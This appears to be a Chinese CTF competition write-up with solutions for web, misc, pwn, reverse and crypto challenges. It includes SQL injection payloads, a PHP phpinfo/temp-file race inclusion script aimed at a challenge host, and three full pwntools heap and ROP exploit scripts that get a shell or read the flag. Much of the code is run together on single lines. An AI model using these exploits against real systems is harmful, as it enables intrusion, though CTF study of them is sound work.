Web
| easy sql | 直接用sqlmap跑,跑出来报错注入并且得到库名是 security 表名是 flag
测试发现information和sys都被过滤了,绕过就好了。
开始查询字段:
1 2 3 Submit= % E7% 99 % BB% E5% BD% 95 & passwd= ' and ((select * from (select * from security.flag a join security.flag b using (no,id))c))||' & uname= % E2% 80 % 99
得到字段后开始查询flag:payload–>
1 2 3 4 5 Submit= % E7% 99 % BB% E5% BD% 95 & passwd= '|| extractValue(1,(select `0d479ba3-d155-4d91-948b-9a786bc92dea` from flag)) ||' & uname= % E2% 80 % 99
得到flag:
| easy_source | 扫描源码发现.index.php.swo备份文件:
分析代码后感觉flag应该User类中,php中的内置的ReflectionMethod方法可以用来获取User类中的内容。所以构造url为
?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment
因为不知道flag在哪个函数中,所以得每个都试下,这里直接用bp爆破rb的值,从a-z :
| middle_source | 扫描目标发现.listing文件,you_can_seeeeeeee_me.php
然后根据phpinfo上传获取tmp_name+文件包含:
具体参考这篇文章https://www.freebuf.com/news/202819.html
但是看到disable_function过滤了很多函数,所以不能直接getshell,只能靠代码获取返回值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import sysimport threadingimport socketimport requestsimport timehost = "124.71.233.33" port = 23945 url = "http://" +host+":" +str (port)+"/" PAYLOAD="""keyskeyskeys<?php function d($d){foreach(glob($d.'/*') as $f){if (is_dir($f)) {print_r($f."<br/>");d($f);}else{print_r(file_get_contents($f));}}}d('/etc/ccfabjbeaa'); ?>\r""" REQ1_DATA="""-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r %s -----------------------------7dbff1ded0714--\r""" % PAYLOADpadding="A" * 5000 REQ1="""POST /you_can_seeeeeeee_me.php?a=""" +padding+""" HTTP/1.1\r Cookie: othercookie=""" +padding+"""\r HTTP_ACCEPT: """ + padding + """\r HTTP_USER_AGENT: """ +padding+"""\r HTTP_ACCEPT_LANGUAGE: """ +padding+"""\r HTTP_PRAGMA: """ +padding+"""\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: %s\r Host: %s\r \r %s""" %(len (REQ1_DATA),host,REQ1_DATA)def inc (fn ):pass def up ():try :s = socket.socket(); s.connect((host,port)) a = s.send(REQ1.encode()) d="" while len (d) < 123058 :d +=str ( s.recv(4096 )) pos =d.find("[tmp_name] =>" )+16 if pos >17 :i = d[pos:pos+20 ].strip().strip('\\n' ) u = url data={ "cf" :"../../../../../../../../" +i+"" ,} try :r = requests.post(u,data=data) if r.text.find("keyskeyskeys" )>-1 :print (r.text)except :pass break ;for i in range (300 ):time.sleep(1 ) s.recv(1 ) except :pass for i in range (500 ):threading.Thread(target=up).start()
Misc | tiny traffic | 打开wireshark
导出HTTP所有对象发现有几个可疑文件导出文件
flag_wrapper和Secret文件里没有什么有价值的信息
去test里看看
重点应该就在test这个文件里。查了一下就是个协议。
下载一下protoc
Protoc -|=。–python _out=../aaa
得到文件test_pb2.py,然后写个脚本读flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import test_pb2from google.protobuf.json_format import MessageToDictdef getInfo (wanted_info ):print (wanted_info)with open ('secret' ,'rb' ) as f:res = f.read(); entitydesc2=test_pb2.PBResponse() entitydesc2.ParseFromString(res) print (hex (entitydesc2.flag_part_convert_to_hex_plz))for d in entitydesc2.dataList:print (d.flag_part)print (hex (entitydesc2.flag_part_plz_convert_to_hex ))print (entitydesc2.flag_last_part)
对了提交flag时要把0x给去掉= =
| running_pixel |
题目说明
题目附件:
下载下来附件后发现是一个gif图片
观察每一帧图片发现每一帧图片都有一个RGB的点(233,233,233)时间轨迹也不相同 使用python脚本截取出RGB的点 并按照时间画出时间轨迹 处理后的图使用ps打开就独处出来时间顺序为 12504D0F-9DE1-4B00-87A5-A5FDDO986a00 转换成小写就得到了flag
图片处理代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from PIL import Imageimport numpy as npdef Rew (nam ):img =Image. open (nam+".png) img_array =np array(img) shape =img_array.shape height = shape[0] width = shape[1] dst =np zeros((height, width, 4)) for h in range(0, height): for w in range (0, width): (b, g, r, a)=img_array[, w] if(b,g,r,a)=(233,233,233,255):#白色 img_ array[h,w]=(255,255,255,255)#蓝色 else: img_ array[h,w]=(0,0,0,0)#红色 dst[h, w]=img_array[h,w] img Image fromarray(np uint8(dst)) img. save(./running/+nam+" .png"," png") for i in range(382): Rew(" 图层"+str(i+1))
| 隔空传话 | 从data.txt中得知是pdu编码,之后使用
https://www.diafaan.com/sms-tutorials/gsm-modem-tutorial/online-sms-pdu-decoder/ 解码,然后根据发送时间排个序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import requests import time from bs4 import BeautifulSoup import threading with open('data.txt','r') as f: rrr = f.readlines() t = {} pool_sema =threading.BoundedSemaphore(value=10) def a(r): try : pool_sema.acquire(); u="https://www.diafaan.com/php/DecodeSmsPdu.php" data={ "messagetype":"", "pdu":r } res = requests.post(u,data=data) bs = BeautifulSoup(res.text,'lxml') # print(bs) tss1 = bs.select("tr:nth-child(7) > td.info > p")[0].text timeArray = time.strptime(tss1, "%d/%m/%Y %H:%M:%S") timeStamp = int(time.mktime(timeArray)) with open(str(timeStamp),'w+') as f: f.write(bs.select("tr:nth-child(3) > td.info > p")[0].text) abc = bs.select("tr:nth-child(3) > td.info > p")[0].text if abc.find("flag is")>-1: print(abc) pool_sema.release(); except: pool_sema.release(); a(r) for r in rrr: threading.Thread(target=a,args=(r,)).s
解码后放入发送时间的文件夹中,进行时间排序然后读取会发现是PNG的开头,解码:
1 2 3 4 5 6 7 8 9 10 11 import os import binascii path = r'.' dirs = os.listdir(path) dirs.sort() res="" for d in dirs: with open (path+'\\'+d) as f: res += f.read() with open('1.png','wb') as f: f.write(binascii.a2b_hex(res))
但是由于得到的图片不正常,所以需要通过crc爆破图片宽度:
1 2 3 4 5 6 7 8 9 import struct import binascii import os m = open("1.png","rb").read() for i in range(1024): c = m[12:16] + struct.pack('>i', i) + m[20:29] crc = binascii.crc32(c) & 0xffffffff if crc == 0xbffaf2dd: print(i)
再然后data.txt第二句话(the first part of the flag is the first 8 digits of your phone number)知道xx是电话八位,随便解密一条得到15030442 ,拼接起来得到flag
PWN | pwney |
checksec保护全开,代码很简单,存在整形溢出的漏洞
可以通过整数溢出来泄露出got表的puts的地址
在根据puts地址计算出libc地址后继而得出malloc_hook地址
然后通过malloc_hook地址算出realloc_hook的偏移,
而由于程序中的isoc99_scanf函数会调用malloc_hook,因此将one_gg写道realloc_hook上即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 import osimport sysimport subprocessfrom pwn import *from one_gadget import generate_one_gadgetcontext.terminal = ["tmux" ,"new-window" ] context.log_level = "debug" def RemPro (ip='' ,port='' ):global sh,elf,libc,one_ggself_addr = "./pwny" libc_addr = "/lib/x86_64-linux-gnu/libc.so.6" pro_libc = "./libc-2.27.so" if len (sys.argv) > 2 :sh = remote(sys.argv[1 ],sys.argv[2 ]) try :libc = ELF(pro_libc) libc_addr = pro_libc except :log.info("No set Remote_libc..." ) libc = ELF(libc_addr) else :libc = ELF(libc_addr) try :sh = remote(ip,port) libc = ELF(pro_libc) libc_addr = pro_libc except :sh = process(elf_addr) one_ggs = one_gadget(libc_addr) elf = ELF(elf_addr) return 1 def debug (cmd="" ):if len (sys.argv) <= 2 :log.progress("Loading Debug...." ) gdb.attach(sh,cmd) def one_gadget (filename ):log.progress("Leak One_Gadgets..." ) return map (int , subprocess.check_output(['one_gadget' , '--raw' ,'-f' , filename]).split(' ' ))def exp ():def read (index ):sh.sendlineafter("e: " ,"1" ) sh.sendafter("x: " ,index) def write (index ):sh.sendlineafter("e: " ,"2" ) sh.sendlineafter("x: " ,str (index)) def write_2 (index,info ):sh.sendlineafter("e: " ,"2" ) sh.sendlineafter("x: " ,str (index)) sh.send(info) for i in range (2 ):write(0x100 ) read("\xe7" .ljust(8 ,"\xff" )) sh.recvuntil("Result: " ) libc_base=int (sh.recvuntil('\n' ),16 )-libc.sym["puts" ] success('libc_base => 0x%x' ,libc_base) read("\xf5" .ljust(8 ,"\xff" )) sh.recvuntil("Result: " ) addr = int (sh.recvuntil('\n' ),16 )-0x202008 debug() malloc_hook = libc_base+libc.sym["__malloc_hook" ] realloc = libc_base + libc.sym["realloc" ] one_gg=one_ggs[1 ]+libc_base success("malloc_hook => 0x%x" ,malloc_hook) realloc_offset= malloc_hook - (addr + 0x202060 )-8 realloc_offset= realloc_offset/8 write_2(realloc_offset,p64(one_gg)) offset= malloc_hook - (addr + 0x202060 ) offset= offset/8 payload = p64(realloc+4 ) write_2(offset,payload) sh.recvuntil("Your choice: " ) sh.sendline("1" *0x400 ) sh.interactive() return shdef exp_2 ():print "this is exp_2" if __name__=="__main__" :RemPro() if len (sys.argv) > 3 :eval (sys.argv[3 ])()elif (len (sys.argv)>1 and len (sys.argv)<3 ):eval (sys.argv[1 ])()else :exp() sh.interactive()
| lonelywol | checksec保护全开
由于给的libc是2.27的因此存在tcache,而正好便可以通过uaf来控制tcache进行利用
可以先通过uaf泄露堆块地址,进而控制tcache结构体
再通过多次free tcacche结构体得到main_arena的地址进而带出libc的基地址并算出malloc_Hook与one_gadgets的地址
之后申请0x50的堆块后,将tcache的数量位恢复,并设置0x70的堆块数量为1。在申请堆块来控制主tcache的fd指针指向malloc_hook
最后对malloc_hook填入one_gadgets即可getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 import osimport sysimport subprocessfrom pwn import *from one_gadget import generate_one_gadgetcontext.terminal = ["tmux" ,"new-window" ] def RemPro (ip='' ,port='' ):global sh,elf,libc,one_ggself_addr = "./lonelywolf" libc_addr = "./libc-2.27.so.bak" pro_libc = "./libc-2.27.so.bak" if len (sys.argv) > 2 :sh = remote(sys.argv[1 ],sys.argv[2 ]) try :libc = ELF(pro_libc) libc_addr = pro_libc except :log.info("No set Remote_libc..." ) libc = ELF(libc_addr) else :libc = ELF(libc_addr) try :sh = remote(ip,port) libc = ELF(pro_libc) libc_addr = pro_libc except :sh = process(elf_addr) one_ggs = one_gadget(libc_addr) elf = ELF(elf_addr) return 1 def debug (cmd="" ):if len (sys.argv) <= 2 :log.progress("Loading Debug...." ) gdb.attach(sh,cmd) def one_gadget (filename ):log.progress("Leak One_Gadgets..." ) return map (int , subprocess.check_output(['one_gadget' , '--raw' ,'-f' , filename]).split(' ' ))def exp ():def new (idx,size ):sh.sendlineafter("choice: " ,"1" ) sh.sendlineafter(": " ,str (idx)) sh.sendlineafter("e: " ,str (size)) def edit (idx,content ):sh.sendlineafter("choice: " ,"2" ) sh.sendlineafter("x: " ,str (idx)) sh.sendlineafter("t: " ,str (content)) def show (idx ):sh.sendlineafter("choice: " ,"3" ) sh.sendlineafter("x: " ,str (idx)) def dele (idx ):sh.sendlineafter("choice: " ,"4" ) sh.sendlineafter("x: " ,str (idx)) new(0 ,0x60 ) dele(0 ) edit(0 ,p64(0 )) dele(0 ) show(0 ) sh.recvuntil(": " ) heap_addr = u64(sh.recv(6 ).ljust(8 ,"\x00" ))-0x260 success("heap_addr => 0x%x" ,heap_addr) tcache_addr = heap_addr + 0x10 edit(0 ,p64(tcache_addr)) new(0 ,0x60 ) new(0 ,0x60 ) for i in range (8 ):edit(0 ,p64(0 )) dele(0 ) show(0 ) sh.recvuntil(": " ) main_arena96 = u64(sh.recv(6 ).ljust(8 ,"\x00" )) success("main_arena96 => 0x%x" ,main_arena96) malloc_hook = main_arena96 -96 -0x10 libc_base = malloc_hook - libc.sym["__malloc_hook" ] one_gg = one_ggs[2 ]+libc_base realloc = libc_base + libc.sym["__libc_realloc" ] success("malloc_hook => 0x%x" ,malloc_hook) success("libc_base => 0x%x" ,libc_base) new(0 ,0x50 ) edit(0 ,p64(0x0000010000000000 )+p64(0 )) new(0 ,0x10 ) edit(0 ,p64(0 )+p64(malloc_hook-0x13 )) new(0 ,0x60 ) edit(0 ,"a" *19 +p64(one_gg)+p64(realloc+0xc )) new(0 ,0x20 ) return shif __name__=="__main__" :RemPro() if len (sys.argv) > 3 :eval (sys.argv[3 ])()elif (len (sys.argv)>1 and len (sys.argv)<3 ):eval (sys.argv[1 ])()else :exp() sh.interactive()
| silverwolf | 在sub_C70函数中发现存在seccomp_rule_add函数,即可能程序禁用了部分函数
使用seccomp-tools查看程序确实只允许使用read\write\open其他的全部kill掉了
而seccomp函数却在运行时创建大量堆块,对此则需要先把他们use掉
之后就是继续正常的uaf,前期与loneywolf打法一样,先泄露堆地址,泄露libc地址
然后通过泄露出来的堆找几个空的位置写flag,orw和frame
之后触发gadget,执行frame,达成read,read读入orw到heap上,然后frame的rsp跳转到orw的地址,执行orw最后getshell
具体参考文章:https://blog.csdn.net/carol2358/article/details/108351308
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 import osimport sysimport subprocessfrom pwn import *from one_gadget import generate_one_gadgetcontext.terminal = ["tmux" ,"new-window" ] context.log_level = "debug" context.arch = "amd64" def RemPro (ip='' ,port='' ):global sh,elf,libc,one_ggself_addr = "./silverwolf" libc_addr = "./libc-2.27.so" pro_libc = "./libc-2.27.so" if len (sys.argv) > 2 :sh = remote(sys.argv[1 ],sys.argv[2 ]) try :libc = ELF(pro_libc) libc_addr = pro_libc except :log.info("No set Remote_libc..." ) libc = ELF(libc_addr) else :libc = ELF(libc_addr) try :sh = remote(ip,port) libc = ELF(pro_libc) libc_addr = pro_libc except :sh = process(elf_addr) one_ggs = one_gadget(libc_addr) elf = ELF(elf_addr) return 1 def debug (cmd="" ):if len (sys.argv) <= 2 :log.progress("Loading Debug...." ) gdb.attach(sh,cmd) def one_gadget (filename ):log.progress("Leak One_Gadgets..." ) return map (int , subprocess.check_output(['one_gadget' , '--raw' ,'-f' , filename]).split(' ' ))def exp ():def new (idx,size ):sh.sendlineafter("choice: " ,"1" ) sh.sendlineafter(": " ,str (idx)) sh.sendlineafter("e: " ,str (size)) def edit (idx,content ):sh.sendlineafter("choice: " ,"2" ) sh.sendlineafter("x: " ,str (idx)) sh.sendlineafter("t: " ,str (content)) def show (idx ):sh.sendlineafter("choice: " ,"3" ) sh.sendlineafter("x: " ,str (idx)) def dele (idx ):sh.sendlineafter("choice: " ,"4" ) sh.sendlineafter("x: " ,str (idx)) for i in range (20 ):new(0 ,0x10 ) new(0 ,0x50 ) for i in range (7 ):new(0 ,0x60 ) for i in range (7 ):new(0 ,0x70 ) new(0 ,0x20 ) dele(0 ) new(0 ,0x50 ) new(0 ,0x9 ) dele(0 ) edit(0 ,'1' *8 +'\n' ) dele(0 ) new(0 ,0x2 ) edit(0 ,p16(0x7010 +0x40 )) new(0 ,0x2 ) new(0 ,0x2 ) show(0 ) sh.recvuntil(': ' ) heap_base = u64(sh.recv(6 ).ljust(8 ,'\x00' )) - 0x50 new(0 ,0x30 ) dele(0 ) edit(0 ,'1' *8 +'\n' ) dele(0 ) new(0 ,0x30 ) edit(0 ,p64(heap_base+0x19d0 )+'\n' ) new(0 ,0x30 ) new(0 ,0x30 ) edit(0 ,p64(0 )+p64(0x91 )[:-1 ]+'\n' ) new(0 ,0x70 ) dele(0 ) edit(0 ,'1' *8 +'\n' ) dele(0 ) new(0 ,0x70 ) edit(0 ,p64(heap_base+0x10 )+'\n' ) new(0 ,0x70 ) new(0 ,0x70 ) edit(0 ,('\x01' *2 +'\x00' *5 +'\xff' ).ljust(0x40 , '\xff' )+p64(heap_base+0x50 )+p64(heap_base+0x19d0 +0x10 )+'\n' ) new(0 ,0x20 ) dele(0 ) show(0 ) libc_base = u64(sh.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) - (0x7ffff7dcfca0 -0x7ffff79e4000 ) log.info(hex (libc_base)) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] environ = libc_base + libc.sym['_environ' ] new(0 ,0x40 ) dele(0 ) edit(0 ,'1' *8 +'\n' ) dele(0 ) new(0 ,0x40 ) edit(0 ,p64(environ)+'\n' ) new(0 ,0x40 ) edit(0 ,'./flag\n' ) new(0 ,0x40 ) show(0 ) sh.recvuntil(': ' ) stack = u64(sh.recv(6 ).ljust(8 ,'\x00' )) ret = stack - (0x7fffffffee58 -0x7fffffffed38 ) new(0 ,0x60 ) dele(0 ) edit(0 ,'1' *8 +'\n' ) dele(0 ) new(0 ,0x60 ) edit(0 ,p64(heap_base+0x40 +0x10 )+'\n' ) new(0 ,0x60 ) pop_rdi_ret = libc_base + 0x215bf pop_rdx_rsi_ret = libc_base + 0x130569 pop_rsi_ret = libc_base + 0x23eea pop_rax_ret = libc_base + 0x43ae8 pop_4_ret = libc_base + 0x215b8 pop_rsp_ret = libc_base + 0x03960 syscall = libc_base + 0x110222 syscall = libc_base + 0x110222 read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] new(0 ,0x60 ) target = heap_base + 0x1f0 flag = heap_base + 0x19e0 payload = p64(ret) + p64(target+0x10 ) + p64(target + 0x20 ) + p64(target+0x40 ) + p64(target + 0x70 ) edit(0 ,payload+'\n' ) ROP = '' ROP += p64(pop_rax_ret)+p64(2 ) ROP += p64(pop_rdi_ret)+p64(flag) ROP += p64(pop_rsi_ret)+p64(0 ) + p64(syscall) ROP += p64(pop_rdi_ret)+p64(3 ) ROP += p64(pop_rdx_rsi_ret)+p64(0x50 )+p64(heap_base) ROP += p64(read) ROP += p64(pop_rdi_ret)+p64(1 ) ROP += p64(write) new(0 ,0x20 ) payload = ROP[0 :0x10 ] + p64(pop_4_ret) edit(0 ,payload+'\n' ) new(0 ,0x30 ) payload = ROP[0x10 :0x30 ] + p64(pop_4_ret) edit(0 ,payload + '\n' ) new(0 ,0x40 ) payload = ROP[0x30 :0x60 ] + p64(pop_4_ret) edit(0 ,payload+'\n' ) new(0 ,0x50 ) payload = ROP[0x60 :] + p64(pop_4_ret) edit(0 ,payload+'\n' ) new(0 ,0x10 ) edit(0 ,p64(pop_rsp_ret)+p64(target+0x10 )) sh.interactive() return shif __name__=="__main__" :RemPro() if len (sys.argv) > 3 :eval (sys.argv[3 ])()elif (len (sys.argv)>1 and len (sys.argv)<3 ):eval (sys.argv[1 ])()else :while True :try :exp() except :p.close()
Reverse | glass| 解压apk找到libnative-lib.so
把代码复制出来跑一下,再结果base64编码一下,然后RC4解密,密钥123456789
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 std ::string sub_10D4 (std ::string result, int a2, std ::string a3, int a4) {int i; char * v5; char v6; char v7; char v8; int j; int k; for ( j = 32 ; j >=0 ; j -= a4 ) {for ( k = a2 - j >= 8 ? 7 : a2 - j - 1 ; k>=0 ; --k )result[j + k] ^= a3[k]; } for ( i = 36 ; i >=0 ; i -= 3 ) {result[i+1 ] = result[i+1 ] ^ result[i]; result[i + 2 ] = result[i + 2 ] ^ result[i+1 ]; result[i] = result[i] ^ result[i + 2 ]; } return result;}
| baby_bc | 打开baby.bc发现是个llvm的文件,需要用clang转为.o文件
1 clang -c baby.bc -o baby_bc.o
再用IDA打开进行分析,可以看到输入的字符长度必须是25,然后取值范围是0-5
之后根据map的值来验证一下这个输入的值。
而问题主要在docheck函数中
大概流程就是开始把输入的值当成了一个5*5的矩阵,横着是每一行的值不能重复,竖着是每一列的值不能重复,类似一个二维表
之后根据o和n这两个数组来判断,n是一个44的矩阵,o是一个5 5的矩阵
1 2 3 4 o=1,后一个必须比前一个大 o=2,后一个必须比前一个小 n=1,后一个必须比前一个小 n=2,后一个必须比前一个大
最后dump一下表然后直接用z3约束跑一下脚本 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 from z3 import *import hashlibs = Solver() n = [[0x00 , 0x00 , 0x00 , 0x01 ], [0x01 , 0x00 , 0x00 , 0x00 ], [0x02 , 0x00 , 0x00 , 0x01 ], [0x00 , 0x00 , 0x00 , 0x00 ],[0x01 , 0x00 , 0x01 , 0x00 ]] o = [[0x00 , 0x00 , 0x02 , 0x00 , 0x02 ], [0x00 , 0x00 , 0x00 , 0x00 , 0x00 ], [0x00 , 0x00 , 0x00 , 0x01 , 0x00 ],[0x00 , 0x01 , 0x00 , 0x00 , 0x01 ]] flag = [[Int("flag%d%d" % (i, j)) for i in range (5 )] for j in range (5 )] s.add(flag[2 ][2 ] == 4 ) s.add(flag[3 ][3 ] == 3 ) for i in range (5 ): for j in range (5 ): s.add(flag[i][j] >= 1 ) s.add(flag[i][j] <= 5 ) for i in range (5 ): for j in range (5 ): for x in range (j): s.add(flag[i][j] != flag[i][x]) for j in range (5 ): for i in range (5 ): for x in range (i): s.add(flag[i][j] != flag[x][j]) for i in range (5 ): for j in range (4 ): if n[i][j] == 1 : s.add(flag[i][j] > flag[i][j + 1 ]) elif n[i][j] == 2 : s.add(flag[i][j] < flag[i][j + 1 ]) for i in range (4 ): for j in range (5 ): if o[i][j] == 1 : s.add(flag[i][j] < flag[i + 1 ][j]) elif o[i][j] == 2 : s.add(flag[i][j] > flag[i + 1 ][j]) flag1='' if s.check() == sat: m = s.model() for i in range (0 ,5 ): for j in range (0 ,5 ): if i==2 and j==2 : flag1+='0' elif i==3 and j==3 : flag1+='0' else : flag1+=str (m[flag[i][j]].as_long()) print flag1 print hashlib.md5(flag1).hexdigest()
Crypto | rsa|
分析了一下看出来:
msg1能用低加密指数攻击得到,msg2能用共模攻击得到,msg3就用已知p的高位攻击得到,然后把获得的所有msg,进行md5加密就能拿到flag了
脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from libnum import invmod,n2simport gmpyc=19105765285510667553313898813498220212421177527647187802549913914263968945493144633390670605116251064550364704789358830072133349108808799075021540479815182657667763617178044110939458834654922540704196330451979349353031578518479199454480458137984734402248011464467312753683234543319955893 n=123814470394550598363280518848914546938137731026777975885846733672494493975703069760053867471836249473290828799962586855892685902902050630018312939010564945676699712246249820341712155938398068732866646422826619477180434858148938235662092482058999079105450136181685141895955574548671667320167741641072330259009 e=0x3 i=0 while (1 ): x=n*i+c temp=gmpy.root(x,e) if temp[1 ]==1 : print "found! " +str (i) s=temp[0 ] print s break else : i=i+1 print n2s(s)
已知msg1:
267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from Crypto.Util.number import long_to_bytes, bytes_to_longfrom libnum import n2s,s2n,invmoddef egcd (a,b ):if a==0 :return (b,0 ,1 )else :g,y,x=egcd(b%a,a) return (g,x-(b//a)*y,y)c1=54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610 c2=91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950 e1=17 n=111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977 e2=65537 s=egcd(e1,e2) s1=s[1 ] s2=s[2 ] print s if s1<0 :s1=-s1 c1=invmod(c1,n) else :s2=-s2 c2=invmod(c2,n) m=(pow (c1,s1,n)*pow (c2,s2,n))%n print "m:" +str (m)print long_to_bytes(m)
运行结果:
已知msg2:
4193305853284549103821195807609492624095031428085219879448342104337322945001387680236011960472296815293233144303730273979905837762067652913308898433728800864776794638198055607422503065410595894676740531680367227696622352026247676452540064020322619036125381146346603655445487695574824919137
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from Crypto.Util.number import *from libnum.modular import invmodimport hashlibn=113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147 p1=7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902 e=0x10001 pbits=512 kbits=pbits-p1.nbits() print (p1.nbits())p1=p1<<kbits PR.<x>=PolynomialRing(Zmod(n)) f=x+p1 roots=f.small_roots(X=2 ^kbits,beta=0.4 ) if roots:p=p1+int (roots[0 ]) q=n//p print ("n:" ,n)print ("p:" ,p)print ("q:" ,n//p)phi=(p-1 )*(q-1 ) e=0x10001 c=59213696442373765895948702611659756779813897653022080905635545636905434038306468935283962686059037461940227618715695875589055593696352594630107082714757036815875497138523738695066811985036315624927897081153190329636864005133757096991035607918106529151451834369442313673849563635248465014289409374291381429646 d=invmod(e,phi) m=pow (c,d,n) print (m)print (long_to_bytes(m))
得到Msg3: 978430871477569051989776547659020359721056838635797362474311886436116962354292851181720060000979143571198378856012391742078510586927376783797757539078239088349758644144812898155106623543650953940606543822567423130350207207895380499638001151443841997176299548692737056724423631882
之后结合一下:
1 2 3 4 5 6 7 8 9 10 11 from Crypto.Util.number import *from libnum.modular import invmodimport hashlibmsg1=267334379257781603687613466720913534310764480084016847281446486946801530200295563483353634338157 msg2=4193305853284549103821195807609492624095031428085219879448342104337322945001387680236011960472296815293233144303730273979905837762067652913308898433728800864776794638198055607422503065410595894676740531680367227696622352026247676452540064020322619036125381146346603655445487695574824919137 msg3=978430871477569051989776547659020359721056838635797362474311886436116962354292851181720060000979143571198378856012391742078510586927376783797757539078239088349758644144812898155106623543650953940606543822567423130350207207895380499638001151443841997176299548692737056724423631882 test=(long_to_bytes(msg1)+long_to_bytes(msg2)+long_to_bytes(msg3)) print test print bytes_to_long(test) print "flag:" +"flag{" +hashlib.md5(test).hexdigest()+"}"
运行结果如下: